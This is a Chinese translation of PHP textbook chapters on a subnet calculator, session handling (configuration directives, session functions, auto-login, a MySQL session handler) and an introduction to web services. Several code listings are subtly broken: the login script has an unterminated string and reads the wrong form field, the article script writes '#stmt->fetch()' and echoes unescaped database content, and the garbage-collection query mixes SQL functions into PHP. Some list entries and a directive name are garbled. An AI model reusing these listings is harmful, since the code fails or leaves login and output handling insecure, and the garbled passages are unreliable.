<input type="text" name="ip[]" size="3" maxlength="3" value="" />.
<input type="text" name="ip[]" size="3" maxlength="3" value="" />
</p>

<p>
Subnet Mask:<br />
<input type="text" name="sm[]" size="3" maxlength="3" value="" />.
<input type="text" name="sm[]" size="3" maxlength="3" value="" />.
<input type="text" name="sm[]" size="3" maxlength="3" value="" />.
<input type="text" name="sm[]" size="3" maxlength="3" value="" />
</p>

<input type="submit" name="submit" value="Calculate" />

</form>

<?php
    if (isset($_POST['submit'])) {
        // Concatenate the IP form components and convert to IPv4 format
        $ip = implode('.', $_POST['ip']);
        $ip = ip2long($ip);

        // Concatenate the netmask form components and convert to IPv4 format
        $netmask = implode('.', $_POST['sm']);
        $netmask = ip2long($netmask);

        // Calculate the network address
        $na = ($ip & $netmask);
        // Calculate the broadcast address
        $ba = $na | (~$netmask);
        // Number of hosts
        $h = ip2long(long2ip($ba)) - ip2long(long2ip($na));

        // Convert the addresses back to the dot-format representation and display
        echo "Addressing Information: <br />";
        echo "<ul>";
        echo "<li>IP Address: ". long2ip($ip)."</li>";
        echo "<li>Subnet Mask: ". long2ip($netmask)."</li>";
        echo "<li>Network Address: ". long2ip($na)."</li>";
        echo "<li>Broadcast Address: ". long2ip($ba)."</li>";
        echo "<li>Total Available Hosts: ".($h - 1)."</li>";
        echo "<li>Host Range: ". long2ip($na + 1)." -  ".
              long2ip($ba - 1)."</li>";
       echo "</ul>";
    }
?>

Listing 16-2A Subnet Converter

举个例子。如果您提供 192.168.1.101 作为 IP 地址,255.255.255.0 作为子网掩码,您应该会看到如图 16-1 所示的输出。

img/314623_5_En_16_Fig1_HTML.jpg

图 16-1

计算网络寻址

摘要

PHP 的许多网络功能不会很快取代那些已经在命令行或其他成熟的客户端上提供的工具。尽管如此,随着 PHP 的命令行功能越来越受欢迎,您很可能会很快发现本章中介绍的一些内容的用处,如果没有其他用处的话,也许是电子邮件发送功能。

下一章介绍会话功能。会话用于存储请求之间的数据。

十七、会话处理器

虽然 PHP 的会话处理功能从 4.0 版本开始就有了,但它仍然是最酷、讨论最多的特性之一。在本章中,您将学习以下内容:

  • 为什么会话处理是必要且有用的

  • 如何配置 PHP 以最有效地使用该特性

  • 如何创建和销毁会话,以及管理会话变量

  • 为什么您可能考虑在数据库中管理会话数据,以及如何做到这一点

什么是会话处理?

超文本传输协议(HTTP)定义了用于通过万维网传输文本、图形、视频和所有其他数据的规则。这是一个无状态的协议,意味着每个请求都是在不知道任何先前或未来请求的情况下被处理的。虽然 HTTP 的简单性是其无处不在的重要原因,但它的无状态本质长期以来一直是希望创建复杂的基于 web 的应用的开发人员的一个问题,这些应用必须适应用户特定的行为和偏好。为了解决这个问题,在客户机器上存储信息的做法,也就是通常所说的 cookies ,很快获得了认可,缓解了这个难题。然而,对 cookie 大小、允许的 cookie 数量的限制,以及围绕其实现的各种其他不便和安全问题,促使开发人员设计了另一种解决方案:会话处理

会话处理本质上是解决这个无状态问题的一个聪明的方法。这是通过为每个站点访问者分配一个唯一的标识属性(称为会话 ID (SID ))来实现的,然后将该 SID 与任何数量的其他数据相关联,无论是每月访问次数、最喜欢的背景颜色还是中间名,只要是您能想到的。会话 ID 作为 cookie 存储在浏览器中,并自动包含在对服务器的每个后续请求中。这样服务器就可以跟踪访问者在网站上做了什么。在基本配置中,会话 ID 是文件系统中某个文件的索引,该文件保存了用户的所有保存信息。由于会话 ID 存储在 cookie 中,因此访问者必须在浏览器中启用 cookie 功能,网站才能正常工作。许多国家要求网站所有者显示一条消息,通知访问者 cookies 被使用,即使它仅用于会话跟踪。

会话处理过程

在大多数情况下,开发人员在开始使用会话处理流程时不需要做太多工作。使用标准配置,您需要做的就是在脚本开始时调用session_start()函数,然后将输出发送到客户端。该函数将检测是否已经定义了会话 cookie。如果没有定义,它会在响应中添加一个 cookie 头。如果定义了 cookie,PHP 将寻找相关的会话文件,并使用它来填充$_SESSION超级全局变量。如果您查看会话文件,您会看到该用户先前请求的$_SESSION变量中内容的序列化副本。

谈到 PHP 如何使用会话,有许多配置选项。在接下来的小节中,您将了解负责执行这个过程的配置指令和函数。

配置指令

将近 30 条配置指令负责调整 PHP 的会话处理行为。因为这些指令中有许多在决定这种行为中起着如此重要的作用,所以您应该花一些时间来熟悉这些指令及其可能的设置。大多数初学者不必改变任何默认设置。

管理会话存储媒体

session.save_handler指令决定如何存储会话信息。其原型如下:

session.save_handler = files|mm|redis|sqlite|user

只有filesuser选项可以在不安装额外 PHP 扩展的情况下使用。

会话数据至少可以以五种方式存储:在平面文件中(files)、在易失性存储器中(mm)、使用 Redis 服务器( https://redis.io )、使用 SQLite 数据库(sqlite)或通过用户定义的函数(user)。虽然默认设置files对于许多网站来说已经足够了,但是请记住,对于活跃的网站,会话存储文件的数量在给定的时间段内可能会达到数千个,甚至数十万个。

易失性内存选项对于管理会话数据是最快的,但也是最易变的,因为数据存储在 RAM 中。要使用该选项,您需要从 https://www.ossp.org/pkg/lib/mm/ 下载并安装 mm 库。除非您对以这种方式管理会话可能产生的各种问题了如指掌,否则我建议您选择另一个选项。

Redis 选项的工作方式类似于内存解决方案,但是 Redis 服务器支持磁盘持久性,并且它可以安装在不同的服务器上,从而允许在负载平衡环境中的多个 web 服务器之间共享会话数据。Redis 服务器可以从 http://redis.io 下载。还需要可以从 https://github.com/nicolasff/phpredis 下载的 Redis 扩展。一些 Linux 发行版允许您用软件包管理器安装这些元素。

sqlite选项利用 SQLite 扩展,使用这个轻量级数据库透明地管理会话信息。第五个选项user,虽然配置起来最复杂,但也是最灵活和最强大的,因为可以创建定制的处理器来将信息存储在开发人员希望的任何媒体中。在本章的后面,您将学习如何使用该选项在 MySQL 数据库中存储会话数据。

设置会话文件路径

如果session.save_handler被设置为files存储选项,那么必须设置session.save_path指令以识别存储目录。它的原型是这样的:

session.save_path = string

默认情况下,没有定义该指令,除非提供值,否则系统将使用/tmp 作为会话文件的位置。如果您使用的是files选项,那么您需要在php.ini文件中启用它,并选择一个合适的存储目录。请记住,这不应该设置为位于服务器文档根目录中的目录,因为信息很容易通过浏览器泄露。此外,该目录必须可由服务器守护程序写入。

自动启用会话

默认情况下,只有通过调用函数session_start()(本章稍后介绍)页面才会启用会话。但是,如果您计划在整个站点使用会话,您可以通过将session.auto_start设置为1来放弃使用该功能。其原型如下:

session.auto_start = 0 | 1

启用该指令的一个缺点是,如果您想在会话变量中存储对象,您需要使用auto_prepend_file指令加载它们的类定义。这样做当然会导致额外的开销,因为即使在应用中没有使用这些类的情况下,它们也会被加载。

设置会话名称

默认情况下,PHP 将使用会话名PHPSESSID。但是,您可以使用 session.name 指令将其更改为您想要的任何名称。其原型如下:

session.name = string

选择 Cookies 或 URL 重写

如果您希望在用户多次访问该站点时维护用户会话,您应该使用 cookie,以便稍后可以检索 SID。您可以使用session.use_cookies选择这种方法。将此指令设置为1(默认值)会导致使用 cookies 进行 SID 传播;将其设置为0会导致使用 URL 重写。使用 URL 重写可以将会话 ID 作为 URL 的一部分来查看。这是一个潜在的安全风险,允许访问该 URL 的不同用户使用相同的会话 ID 访问该站点。session.ude_cookies指令有两个可能的值:

session.use_cookies = 0 | 1

请记住,当session.use_cookies启用时,不需要显式调用 cookie 设置函数(例如,通过 PHP 的set_cookie()),因为这将由会话库自动处理。如果您选择 cookies 作为跟踪用户 SID 的方法,那么您必须考虑其他几个指令,下面将介绍它们。

出于安全原因,建议您为 cookie 处理配置一些额外的选项。这将有助于防止 cookie 劫持。

session.use_only_cookies = 0 | 1

设置session.use_only_cookies = 1将阻止用户在 querystring 中将 cookie 作为参数传递。只有当会话 id 作为 cookie 从浏览器传递过来时,服务器才会接受它。此外,大多数现代浏览器允许将 cookies 定义为“仅 http”这样做可以防止 JavaScript 访问 cookie。它由指令session.cookie_httponly:控制

session.cookie_httponly = 0 | 1

最后,可以防止 cookie 设置在不安全的连接上。如果使用了安全 SSL 连接,设置session.cookie_secure = 1只会将 cookie 发送到浏览器。

session.cookie_secure = 0 | 1

session.cookie_lifetime指令决定了会话 cookie 的有效期。其原型如下:

session.cookie_lifetime = integer

生命周期是以秒为单位指定的,所以如果 cookie 应该存活 1 小时,那么这个指令应该设置为3600。如果该指令设置为0(默认值),cookie 将一直存在,直到浏览器重新启动。cookie 生存期表示 cookie 的生存期。每次用户发送请求时,PHP 都会发出一个具有相同生存期的更新 cookie。如果用户等待的时间超过了请求之间的生存期,浏览器将不再在请求中包含 cookie,并且它将看起来像是站点的新访问者。

指令session.cookie_path决定了 cookie 被认为有效的路径。cookie 对该路径下的所有子目录也有效。其原型如下:

session.cookie_path = string

例如,如果设置为/(默认值),那么 cookie 将对整个网站有效。将它设置为/books意味着 cookie 只有在从 http://www.example.com/books/ 路径中被调用时才有效。

指令session.cookie_domain确定 cookie 对哪个域有效。忽略设置此 cookie 将导致 cookie 的域被设置为生成它的服务器的主机名。其原型如下:

session.cookie_domain = string

下面的例子说明了它的用法:

session.cookie_domain = www.example.com

如果您想为站点子域名提供一个会话,比如说customers.example.comintranet.example.comwww.example.com ,可以这样设置这个指令:

session.cookie_domain = .example.com

设置缓存方向

使用缓存来加速网页加载是一种常见的做法。缓存可以由浏览器、代理服务器或 web 服务器来完成。如果您提供的页面包含特定于用户的内容,您不希望这些内容被缓存在代理服务器中,并被请求同一页面的不同用户获取。session.cache_limiter指令修改这些页面的缓存相关头,提供关于缓存偏好的指令。其原型如下:

session.cache_limiter = string

有五个值可用:

  • none:该设置禁止传输任何缓存控制头以及启用会话的页面。

  • nocache:这是默认设置。此设置确保在提供可能缓存的版本之前,首先将每个请求发送到原始服务器,以确认页面未发生更改。

  • private:将缓存的文档指定为私有意味着该文档将只对原始用户可用,指示代理不缓存页面,因此不与其他用户共享。

  • private_no_expire:private名称的这种变化导致没有文档到期日期被发送到浏览器。其他方面与private设置相同,这是为各种浏览器添加的一个解决方法,当缓存设置为private时,这些浏览器会被发送的Expire头弄糊涂。

  • 这个设置认为所有的文档都是可缓存的,由于性能的提高,它对于站点的非敏感区域是一个有用的选择。

为启用会话的页面设置缓存过期时间

session.cache_expire指令决定了在创建新页面之前,缓存的会话页面可用的秒数(默认为 180 秒)。其原型如下:

session.cache_expire = integer

如果session.cache_limiter被设置为nocache,该指令被忽略。

设置会话生存期

session.gc_maxlifetime指令确定会话数据被认为有效的持续时间,以秒为单位(默认为1440)。当会话数据超过指定的生命周期时,它将不再被读入$_SESSION变量,内容将被“垃圾收集”或从系统中删除。其原型如下:

session.gc_maxlifetime = integer

一旦达到此限制,会话信息将被销毁,以便回收系统资源。另外,查看session.gc_divisorsession.gc_probability指令,了解关于调整会话垃圾收集特性的更多信息。

使用会话

本节介绍了许多关键的会话处理任务,并一路展示了相关的会话功能。其中一些任务包括会话的创建和销毁、SID 的指定和检索以及会话变量的存储和检索。这一介绍为下一节奠定了基础,在下一节中,将提供几个实际的会话处理示例。

开始会话

请记住,HTTP 对用户的过去和将来的情况都是漠不关心的。因此,对于每个请求,您需要显式地启动并随后恢复会话。这两项任务都是使用session_start()功能完成的。它的原型是这样的:

Boolean session_start()

如果没有找到 SID,执行session_start()将创建一个新会话,或者如果 SID 存在,则继续当前会话。您可以通过如下方式调用该函数:

session_start([ array $options = array() ]);

一个让许多刚接触session_start()函数的人感到困惑的重要问题是,这个函数究竟可以在哪里被调用。在任何其他输出被发送到浏览器之前,忽略执行它将导致生成错误消息(headers already sent)。

您可以通过启用配置指令session.auto_start来完全消除该功能的执行。但是,请记住,这将为每个启用 PHP 的页面启动或恢复一个会话,而且还会带来其他副作用,例如,如果您希望将对象信息存储在一个会话变量中,就需要加载类定义。

可选参数$options是在 PHP 7.0 中引入的,允许开发人员通过传递选项的关联数组来覆盖 php.ini 中配置的任何指令。除了标准参数,还可以指定 read_and_close 选项。当设置为TRUE时,该功能将读取会话文件的内容并立即关闭它,防止文件更新。这可以用在高流量的网站上,那里的会话被很多页面读取,但只有少数页面更新。

销毁会话

虽然您可以配置 PHP 的会话处理指令来根据到期时间或垃圾收集概率自动销毁会话,但有时您自己手动取消会话也是有用的。例如,您可能希望允许用户手动注销您的站点。当用户点击适当的链接时,您可以从内存中清除会话变量,甚至从存储器中完全清除会话,分别通过session_unset()session_destroy()函数来完成。

session_unset()函数删除当前会话中存储的所有会话变量,有效地将会话重置到创建时的状态(没有注册会话变量)。它的原型是这样的:

void session_unset()

虽然执行session_unset()确实会删除当前会话中存储的所有会话变量,但它不会从存储机制中完全删除会话。如果想彻底销毁会话,需要使用函数session_destroy(),通过从存储机制中删除会话使当前会话失效。请记住,这将而不是破坏用户浏览器上的任何 cookies。它的原型是这样的:

Boolean session_destroy()

如果您对在会话结束后使用 cookie 不感兴趣,只需在php.ini文件中将session.cookie_lifetime设置为0(其默认值)。

设置和检索会话 ID

请记住,SID 将所有会话数据绑定到特定用户。尽管 PHP 会自动创建和传播 SID,但有时您可能希望手动设置或检索它。函数session_id()能够执行这两项任务。它的原型是这样的:

string session_id([string sid])

函数session_id()可以设置和获取 SID。如果没有参数,函数session_id()返回当前的 SID。如果包含可选的 SID 参数,当前 SID 将被替换为该值。下面是一个例子:

<?php
    session_start();
    echo "Your session identification number is " . session_id();
?>

这将产生类似于以下内容的输出:

Your session identification number is 967d992a949114ee9832f1c11c

如果您想要创建自定义会话处理器,支持的字符仅限于字母数字字符、逗号和减号。

创建和删除会话变量

会话变量用于管理用户从一个页面到下一个页面的数据。然而,现在的首选方法是简单地设置和删除这些变量,就像其他任何变量一样,只是您需要在$_SESSION超全局的上下文中引用它。例如,假设您想要设置一个名为username的会话变量:

<?php
    session_start();
    $_SESSION['username'] = "Jason";
    printf("Your username is %s.", $_SESSION['username']);
?>

这将返回以下内容:

Your username is Jason.

要删除变量,可以使用unset()功能:

<?php
   session_start();
   $_SESSION['username'] = "Jason";
   printf("Your username is: %s <br />", $_SESSION['username']);
   unset($_SESSION['username']);
   printf("Username now set to: %s", $_SESSION['username']);
?>

这将返回:

Your username is: Jason
Username now set to:

警告

您可能会遇到引用函数的session_register()session_unregister()的旧的学习资源和新闻组讨论,它们曾经分别是创建和销毁会话变量的推荐方法。但是,因为这些函数依赖于一个名为register_globals的配置指令,这个指令在 PHP 4.2.0 中被默认禁用,在 PHP 5.4.0 中被完全删除,所以您应该使用本节中描述的变量赋值和删除方法。

编码和解码会话数据

不管存储介质是什么,PHP 都以由单个字符串组成的标准化格式存储会话数据。例如,由两个变量(usernameloggedon))组成的会话的内容显示在这里:

username|s:5:"jason";loggedon|s:20:"Feb 16 2011 22:32:29";

每个会话变量引用由分号分隔,由三部分组成:名称、长度和值。一般语法如下:

name|s:length:"value";

幸运的是,PHP 自动处理会话编码和解码。但是,有时您可能希望手动执行这些任务。为此,有两个函数可用:session_encode()session_decode()

编码会话数据

session_encode()提供了一种将所有会话变量手动编码成一个字符串的便捷方法。其原型如下:

string session_encode()

当您希望轻松地将用户的会话信息存储在数据库中以及进行调试时,该函数特别有用,它为您提供了一种查看会话内容的简单方法。例如,假设一个包含该用户 SID 的 cookie 存储在他的计算机上。当用户请求包含以下清单的页面时,将从 cookie 中检索用户 ID。然后,该值被指定为 SID。创建某些会话变量并赋予它们值,然后使用session_encode()对所有这些信息进行编码,准备将其插入数据库,如下所示:

<?php
    // Initiate session and create a few session variables
    session_start();

    // Set a few session variables.
    $_SESSION['username'] = "jason";
    $_SESSION['loggedon'] = date("M d Y H:i:s");

    // Encode all session data into a single string and return the result
    $sessionVars = session_encode();
    echo $sessionVars;
?>

这将返回:

username|s:5:"jason";loggedon|s:20:"Feb 16 2011 22:32:29";

请记住,session_encode()将对该用户可用的所有会话变量进行编码,而不仅仅是那些在执行session_encode()的特定脚本中注册的变量。

您也可以使用seraialize()函数来获得类似的结果,但是默认情况下session_encode()函数将使用与serialize()函数不同的内部序列化格式。

解码会话数据

编码的会话数据可以用session_decode()解码。它的原型是这样的:

Boolean session_decode(string session_data)

输入参数session_data表示会话变量的编码字符串。该函数将对变量进行解码,将它们返回到原始格式,如果成功,则返回 TRUE,否则返回 FALSE。继续前面的例子,假设一些会话数据被编码并存储在数据库中,即 SID 和变量$_SESSION['username']$_SESSION['loggedon']。在下面的脚本中,从表中检索数据并解码:

<?php
    session_start();
    $sid = session_id();

    // Encoded data retrieved from database looks like this:
    // $sessionVars = username|s:5:"jason";loggedon|s:20:"Feb 16 2011 22:32:29";

    session_decode($sessionVars);

    echo "User ".$_SESSION['username']." logged on at ".$_SESSION['loggedon'].".";

?>

这将返回:

User jason logged on at Feb 16 2011 22:55:22.

如果您想将会话数据存储在数据库中,有一种更有效的方法,即定义自定义会话处理器,并将这些处理器直接绑定到 PHP 的 API 中。本章稍后将对此进行演示。

重新生成会话 id

一种称为会话固定的攻击涉及攻击者以某种方式获得一个没有怀疑的用户的 SID,然后使用它来冒充该用户,以便获得对潜在敏感信息的访问。您可以通过在维护特定于会话的数据的同时在每个请求上重新生成会话 ID 来最小化这种风险。PHP 提供了一个名为session_regenerate_id()的便利函数,它将用一个新的 ID 替换现有的 ID。其原型如下:

Boolean session_regenerate_id([boolean delete_old_session])

可选的delete_old_session参数决定了当重新生成会话 ID 时,旧的会话文件是否也将被删除。如果设置为 false 或未通过,旧的会话文件将会留在系统中,攻击者仍然可以使用这些数据。最好的选择是总是传递 true,以确保在创建新的会话 id 后删除旧的数据。

使用这个函数有一些开销,因为必须生成一个新的会话文件并更新会话 cookie。

实际会话处理示例

既然您已经熟悉了使会话处理工作的基本函数,那么您就可以考虑一些真实的例子了。第一个示例展示了如何创建一个自动验证返回注册用户的机制。第二个示例演示了如何使用会话变量为用户提供最近查看的文档的索引。这两个例子都很常见,鉴于它们明显的实用性,这并不奇怪。令人惊讶的是,你可以轻而易举地创建它们。

注意

如果您不熟悉 MySQL 数据库,并且对下面例子中的语法感到困惑,可以考虑复习第二十二章中的内容。

自动登录回访用户

一旦用户登录,通常通过提供唯一的用户名和密码组合,允许用户稍后返回站点而不必重复该过程通常是很方便的。您可以使用会话、几个会话变量和一个 MySQL 表轻松实现这一点。虽然有很多方法可以实现这个特性,但是检查现有的会话变量(即$username)就足够了。如果该变量存在,用户可以自动登录到该站点。如果没有,将显示一个登录表单。

注意

默认情况下,session.cookie_lifetime配置指令被设置为0,这意味着如果浏览器重新启动,cookie 将不会持续。因此,您应该将该值更改为适当的秒数,以便使会话持续一段时间。

清单 17-1 中显示了 MySQL 表users

CREATE TABLE users (
   id INTEGER UNSIGNED NOT NULL AUTO_INCREMENT,
   first_name VARCHAR(255) NOT NULL,
   username VARCHAR(255) NOT NULL,
   password VARCHAR(32) NOT NULL,
   PRIMARY KEY(id)
);

Listing 17-1The users Table

如果没有找到有效的会话,用于向用户显示登录表单的代码片段(login.html)如下所示:

<p>
    <form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
        Username:<br><input type="text" name="username" size="10"><br>
        Password:<br><input type="password" name="pswd" SIZE="10"><br>
        <input type="submit" value="Login">
    </form>
</p>

最后,用于管理自动登录过程的逻辑如下:

<?php

  session_start();

  // Has a session been initiated previously?
  if (! isset($_SESSION['username'])) {

      // If no previous session, has the user submitted the form?
      if (isset($_POST['username']))
      {

        $db = new mysqli("localhost", "webuser", "secret", "corporate");

        $stmt = $db->prepare("SELECT first_name FROM users WHERE username = ? and password = ?");

        $stmt->bind_param('ss', $_POST['username'], $_POST['password]);

        $stmt->execute();

        $stmt->store_result();

        if ($stmt->num_rows == 1)
        {

          $stmt->bind_result($firstName);

          $stmt->fetch();

          $_SESSION['first_name'] = $firstName;

          header("Location: http://www.example.com/");

        }

      } else {
        require_once('login.html');
      }

  } else {
    echo "You are already logged into the site.";
  }

?>

当用户被各种可以想象的在线服务的用户名和密码淹没的时候,从检查电子邮件到库图书续借到查看银行账户,在情况允许时提供自动登录功能肯定会受到用户的欢迎。

上面的例子需要一个名为 users 的表,其中包含列的usernamepassword。正如在第十四章中所讨论的,你不应该用明文存储密码。相反,您应该使用哈希,因为如果攻击者获得了数据库的访问权限,就不会获得实际的密码。

生成最近查看的文档索引

有多少次你回到一个网站,想知道在哪里可以找到你忘记加书签的 PHP 教程?如果网站能够记住你读了哪些文章,并在你需要的时候给你一个列表,这不是很好吗?这个例子演示了这样一个特性。

这个解决方案出乎意料的简单,却很有效。要记住给定用户阅读了哪些文档,可以要求用户和每个文档都用唯一的标识符来标识。对于用户来说,SID 满足这个要求。可以按照您希望的任何方式来标识文档,但是本例使用文章的标题和 URL,并假设该信息来自名为articles的数据库表中存储的数据,如下所示:

CREATE TABLE articles (
   id INTEGER UNSIGNED NOT NULL AUTO_INCREMENT,
   title VARCHAR(50),
   content MEDIUMTEXT NOT NULL,
   PRIMARY KEY(id)
);

唯一需要的任务是将文章标识符存储在会话变量中,这将在下面实现:

<?php

    // Start session
    session_start();

    // Connect to server and select database
    $db = new mysqli("localhost", "webuser", "secret", "corporate");

    // User wants to view an article, retrieve it from database
    $stmt = $db->prepare("SELECT id, title, content FROM articles WHERE id = ?");

    $stmt->bind_param('i', $_GET['id']);

    $stmt->execute();

    $stmt->store_result();

    if ($stmt->num_rows == 1)
    {
      $stmt->bind_result($id, $title, $content);
      #stmt->fetch();
    }

    // Add article title and link to list
    $articleLink = "<a href='article.php?id={$id}'>{$title}</a>";

    if (! in_array($articleLink, $_SESSION['articles']))
        $_SESSION['articles'][] = $articleLink;

    // Display the article
    echo "<p>$title</p><p>$content</p>";

    // Output list of requested articles

    echo "<p>Recently Viewed Articles</p>";
    echo "<ul>";
    foreach($_SESSION['articles'] as $doc) {
      echo "<li>$doc</li>";
    }
    echo "</ul>";
?>

样本输出如图 17-1 所示。

img/314623_5_En_17_Fig1_HTML.jpg

图 17-1

跟踪用户查看的文档

创建自定义会话处理器

用户定义的会话处理器提供了四种存储方法中最大程度的灵活性。实现定制的会话处理器非常容易——只需遵循几个步骤。首先,您需要定制六个任务(定义如下)用于您的自定义存储位置。此外,无论您的特定实现是否使用参数,都必须遵循每个函数的参数定义。本节概述了这六个功能的目的和结构。此外,它还引入了session_set_save_handler(),这个函数用于神奇地将 PHP 的会话处理器行为转换成您的自定义处理器函数所定义的行为。最后,本节以演示这一伟大特性结束,提供了一个基于 MySQL 的实现。您可以立即将这个库合并到您自己的应用中,使用 MySQL 表作为会话信息的主要存储位置。

  • session_open($session_save_path, $session_name) :此函数初始化会话过程中可能用到的任何元素。两个输入参数$session_save_path$session_name指的是在php.ini文件中找到的同名配置指令。PHP 的get_cfg_var()函数用于在后面的例子中检索这些配置值。

  • session_close() :这个函数的操作很像一个典型的处理函数,关闭任何由session_open() .初始化的打开的资源。正如你所看到的,这个函数没有输入参数。请记住,这不会破坏会话。这就是在列表末尾介绍的session_destroy()的工作。

  • session_read($sessionID) :该功能从存储介质中读取会话数据。输入参数$sessionID指的是 SID,它将用于标识为这个特定客户端存储的数据。

  • session_write($sessionID, $value) :该功能将会话数据写入存储介质。输入参数$sessionID是变量名,输入参数$value是会话数据。

  • 这个函数可能是你在脚本中调用的最后一个函数。它会破坏会话和所有相关的会话变量。输入参数$sessionID指的是当前打开的会话中的 SID。

  • session_garbage_collect($lifetime) :此功能有效删除所有已过期的会话。输入参数$lifetime指的是在php.ini文件中找到的会话配置指令session.gc_maxlifetime

将自定义会话函数绑定到 PHP 的逻辑中

在定义了六个自定义处理函数之后,必须将它们绑定到 PHP 的会话处理逻辑中。这是通过将它们的名字传递给函数session_set_save_handler()来实现的。请记住,这些名称可以是您选择的任何名称,但是它们必须接受正确数量和类型的参数,如前一节所述,并且必须按以下顺序传递给session_set_save_handler()函数:打开、关闭、读取、写入、销毁和垃圾收集。描述如何调用此函数的示例如下:

session_set_save_handler("session_open", "session_close", "session_read",
                         "session_write", "session_destroy",
                         "session_garbage_collect");

使用定制的基于 MySQL 的会话处理器

在部署基于 MySQL 的处理器之前,您必须完成两项任务:

  1. 创建将用于存储会话数据的数据库和表。

  2. 创建六个自定义处理函数。

下面的 MySQL 表sessioninfo将用于存储会话数据。出于这个例子的目的,假设这个表是在数据库sessions中找到的,尽管您可以将这个表放在您希望的地方。

CREATE TABLE sessioninfo (
   sid VARCHAR(255) NOT NULL,
   value TEXT NOT NULL,
   expiration TIMESTAMP NOT NULL,
  PRIMARY KEY(sid)
);

清单 17-2 提供了自定义 MySQL 会话函数。请注意,它定义了每个必需的处理器,确保将适当数量的参数传递给每个处理器,而不管这些参数是否在函数中实际使用。该示例使用函数session_set_save_handler()来定义实现所有函数所需的六个回调函数。每个函数都可以用一个字符串形式的函数名或一个带两个参数的数组来标识。第一个是对对象的引用,第二个是对给定操作调用的方法的名称。因为本例中的会话处理器是用一个类定义的,所以每个函数名都用一个数组指定。

<?php

class MySQLiSessionHandler {

  private $_dbLink;
  private $_sessionName;
  private $_sessionTable;
  CONST SESS_EXPIRE = 3600;

  public function __construct($host, $user, $pswd, $db, $sessionName, $sessionTable)
  {
    // Create a connection to the database
    $this->_dbLink = new mysqli($host, $user, $pswd, $db);
    $this->_sessionName = $sessionName;
    $this->_sessionTable = $sessionTable;

    // Set the handlers for open, close, read, write, destroy and garbage collection

.
    session_set_save_handler(
      array($this, "session_open"),
      array($this, "session_close"),
      array($this, "session_read"),
      array($this, "session_write"),
      array($this, "session_destroy"),
      array($this, "session_gc")
    );

    session_start();
  }

  function session_open($session_path, $session_name) {
    $this->_sessionName = $session_name;
    return true;
  }

  function session_close() {
      return 1;
  }

  function session_write($SID, $value) {
    $stmt = $this->_dbLink->prepare("
      INSERT INTO {$this->_sessionTable}
        (sid, value) VALUES (?, ?) ON DUPLICATE KEY
        UPDATE value = ?, expiration = NULL");

    $stmt->bind_param('sss', $SID, $value, $value);
    $stmt->execute();

    session_write_close();
  }

  function session_read($SID) {
      // create a SQL statement that selects the value for the cussent session ID and validates that it is not expired

.
      $stmt = $this->_dbLink->prepare(
        "SELECT value FROM {$this->_sessionTable}
         WHERE sid = ? AND
         UNIX_TIMESTAMP(expiration) + " .
         self::SESS_EXPIRE . " > UNIX_TIMESTAMP(NOW())"
      );

      $stmt->bind_param('s', $SID);

      if ($stmt->execute())
      {
      $stmt->bind_result($value);
        $stmt->fetch();

        if (! empty($value))
        {
          return $value;
        }
      }
  }

  public function session_destroy($SID) {
    // Delete the record for the session id provided
    $stmt = $this->_dbLink->prepare("DELETE FROM {$this->_sessionTable} WHERE SID = ?");
    $stmt->bind_param('s', $SID);
    $stmt->execute();
  }

    public function session_gc($lifetime) {
      // Delete records that are expired.
      $stmt = $this->_dbLink->prepare("DELETE FROM {$this->_sessionTable}
          WHERE UNIX_TIMESTAMP(expiration) < " . UNIX_TIMESTAMP(NOW()) - self::SESS_EXPIRE);

      $stmt->execute();
   }
}

Listing 17-2The MySQL Session Storage Handler

要使用该类,只需将它包含在您的脚本中,实例化该对象,并分配您的会话变量:

require "mysqlisession.php";

$sess = new MySQLiSessionHandler("localhost", "root", "jason",
                                                            "chapter17", "default", "sessioninfo");
$_SESSION['name'] = "Jason";

执行完这个脚本后,使用mysql客户端查看一下sessioninfo表的内容:

mysql> select * from sessioninfo;
+-------------------------------------+---------------+-------------------+
| SID                                 | expiration    | value             |
+-------------------------------------+---------------+-------------------+
| f3c57873f2f0654fe7d09e15a0554f08    | 1068488659    | name|s:5:"Jason"; |
+-------------------------------------+---------------+-------------------+
1 row in set (0.00 sec)

正如所料,已经插入了一行,将 SID 映射到会话变量"Jason."。该信息被设置为在创建后 1440 秒过期;该值的计算方法是确定 Unix 纪元后的当前秒数,然后加上 1,440。注意,虽然 1,440 是默认的到期设置,如在php.ini文件中所定义的,但是您可以将这个值更改为您认为合适的值。

请注意,这不是实现这些适用于 MySQL 的过程的唯一方法。你可以随意修改这个库。

摘要

本章涵盖了 PHP 会话处理能力的全部。您了解了许多用于定义这种行为的配置指令,以及将这种功能整合到应用中的最常用函数。本章以 PHP 用户定义的会话处理器的真实例子结束,向您展示了如何将 MySQL 表转换成会话存储介质。

下一章将讨论另一个高级但非常有用的主题:web 服务。它还将介绍如何使用标准 web 技术与服务和 API 进行交互。

十八、Web 服务

Web 技术已经发生了很大的变化,从 1994 年创建第一个浏览器时引入的静态 HTML 页面,到由 PHP 等编程语言支持的更动态的内容,再到当前的情况:提供服务并与 web 服务的使用轻松集成。有许多可用的协议和格式,其中许多都受原生 PHP 或 PHP 扩展的支持。

可扩展标记语言(XML)和 JavaScript 对象表示法(JSON)是交换信息的两种常见格式。XML 通常与简单对象访问协议(SOAP)一起使用,SOAP 是一种轻量级且灵活的协议,用于在系统之间交换信息。它使定义和验证请求和响应以及通过 Web 服务描述语言(WSDL)中的结构化文档公开 API 端点成为可能。SOAP 标准仍然被许多公司和系统广泛使用和支持,但是与 JSON 标准相比,它的使用通常要复杂一些。

JSON 易于阅读和以编程方式创建,并且它受到浏览器等前端工具和许多用于在互联网上构建应用和服务的编程语言(包括 PHP)的支持。除了使用 JSON 格式在 Web 上请求和检索信息之外,还经常使用表述性状态转移(REST)架构或 RESTful web 服务,利用 HTTP 协议的无状态特性在多个系统之间交换信息。

今天可用的许多 web 服务都支持 XML 和 JSON 作为响应格式,但是现在大多数都默认使用 JSON;当添加新服务时,只支持 JSON 的情况并不少见。

为什么选择 Web 服务?

为了吸引浏览者到一个网站,你必须提供尽可能多的相关内容。这包括提供根据访问者位置定制的天气服务、通过 OAuth 协议进行访问管理(如第十四章所述)或访问云中的存储和计算资源。关键是利用外部服务的工作,要么是免费的,要么是付费的。亚马逊(Amazon)、微软(Microsoft)和谷歌(Google Cloud)等公司提供了一长串服务,让开发者的生活变得更加轻松。

